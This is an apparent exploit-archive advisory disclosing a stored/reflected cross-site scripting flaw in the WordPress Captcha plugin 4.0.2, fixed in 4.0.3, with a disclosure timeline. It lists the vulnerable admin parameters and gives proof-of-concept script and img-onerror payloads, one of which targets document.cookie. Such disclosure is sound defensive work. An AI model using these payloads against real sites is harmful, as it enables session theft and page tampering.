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WordPress Captcha 4.0.2 Cross Site Scripting

WordPress Captcha 4.0.2 Cross Site Scripting
Posted Dec 17, 2015
Authored by Madhu Akula

WordPress Captcha plugin version 4.0.2 suffers from a cross site scripting vulnerability.

tags | exploit, xss
MD5 | 128c4617bb1482fcadf0643555d05b90

WordPress Captcha 4.0.2 Cross Site Scripting

Change Mirror Download
Plugin Name : Captcha

Effected Version : 4.0.2 (and most probably lower version's if any)

Vulnerability : A3-Cross-Site Scripting (XSS)

Identified by : Madhu Akula



Technical Details

Minimum Level of Access Required : Administrator

PoC - (Proof of Concept) :

http://localhost/wp-admin/admin.php?page=captcha.php

In the above page the following fields put the payload as below

cptch_label_form = “><script>alert(1)</script>

cptch_required_symbol = “><script>alert(2)</script>


http://localhost/wp-admin/admin.php?page=captcha.php&action=go_pro


bws_license_key =”><img src=x onerror=prompt(document.cookie);>

Vulnerable Parameter : cptch_label_form, cptch_required_symbol, bws_license_key

Type of XSS : Reflected / Stored

Fixed in : 4.0.3

http://wordpress.org/plugins/captcha/changelog/

Disclosure Timeline

Vendor Contacted : 2014-08-04

Plugin Status : Updated on 2014-08-07

Public Disclosure : October 3, 2015

CVE Number : Not assigned yet

Plugin Description :

The Captcha plugin allows you to implement a super security captcha form into web forms. It protects your website from spam by means of math logic, easily understood by human beings. You will not have to spend your precious time on annoying attempts to understand hard-to-read words, combinations of letters or pictures that make your eyes pop up. All you need is to do one of the three basic maths actions - add, subtract and multiply. This captcha can be used for login, registration, password recovery, comments forms. There is also a premium version of the plugin, allowing compatibility with BuddyPress (Registration form, Comments form, "Create a Group" form) and Contact Form 7.

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